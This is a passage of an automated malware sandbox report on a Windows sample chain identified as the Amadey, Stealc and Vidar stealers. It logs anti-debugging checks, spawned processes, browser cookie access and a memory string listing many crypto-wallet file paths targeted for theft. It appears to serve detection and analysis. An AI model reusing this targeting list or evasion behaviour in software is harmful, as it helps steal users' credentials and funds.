Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe

Code function: 2_2_04DB0C09 rdtsc

2_2_04DB0C09

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_00405150 lstrlenA,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,LdrInitializeThunk,lstrlenA,lstrlenA,GetProcessHeap,HeapAlloc,lstrlenA,memcpy,lstrlenA,memcpy,lstrlenA,lstrlenA,memcpy,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

11_2_00405150

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

11_2_0041ACFA

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_00404610 VirtualProtect ?,00000004,00000100,00000000

11_2_00404610

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

11_2_004195E0

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_00419160 mov eax, dword ptr fs:[00000030h]

11_2_00419160

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

11_2_00405000

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0041C8D9 SetUnhandledExceptionFilter,	11_2_0041C8D9
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0041ACFA
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0041A718
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C67B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_6C67B66C
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C67B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_6C67B1F7
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C82AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_6C82AC62
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_00409950 SetUnhandledExceptionFilter,	12_2_00409950
Source: C:\Users\user\1000003002\d27375200a.exe	Code function: 12_2_00409930 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,	12_2_00409930

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: bfb8bb0dc7.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bfb8bb0dc7.exe PID: 9104, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

11_2_004190A0

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe "C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\1000003002\d27375200a.exe "C:\Users\user\1000003002\d27375200a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingFHJDBKJKFI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingHJKECAAAFH.exe"	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\F1CD.tmp\F1CE.tmp\F1CF.bat C:\Users\user\1000003002\d27375200a.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4B76.tmp\4B77.tmp\4B78.bat C:\Users\user\1000003002\d27375200a.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe "C:\Users\user\AppData\RoamingFHJDBKJKFI.exe"
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingHJKECAAAFH.exe "C:\Users\user\AppData\RoamingHJKECAAAFH.exe"

Source: explorti.exe, explorti.exe, 00000005.00000002.2286152446.0000000000FFF000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: XAProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_6C67B341 cpuid

11_2_6C67B341

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

11_2_00417630

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\1000003002\d27375200a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\1000003002\d27375200a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

11_2_00417420

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

11_2_004172F0

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

11_2_004174D0

Source: C:\Users\user\1000003002\d27375200a.exe

Code function: 12_2_0040559A GetVersionExW,GetVersionExW,

12_2_0040559A

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 4.2.explorti.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 50.2.RoamingHJKECAAAFH.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.6SoKuOqyNh.exe.9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.RoamingFHJDBKJKFI.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.explorti.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000032.00000002.3100288040.0000000000831000.00000040.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2232316189.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2245619240.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2273315501.0000000000E11000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2245966908.00000000009F1000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2203138174.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.3316222838.0000000000CA1000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.3056372409.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2286029441.0000000000E11000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.3027185074.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2691951634.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bfb8bb0dc7.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bfb8bb0dc7.exe PID: 9104, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: bfb8bb0dc7.exe PID: 3152, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo 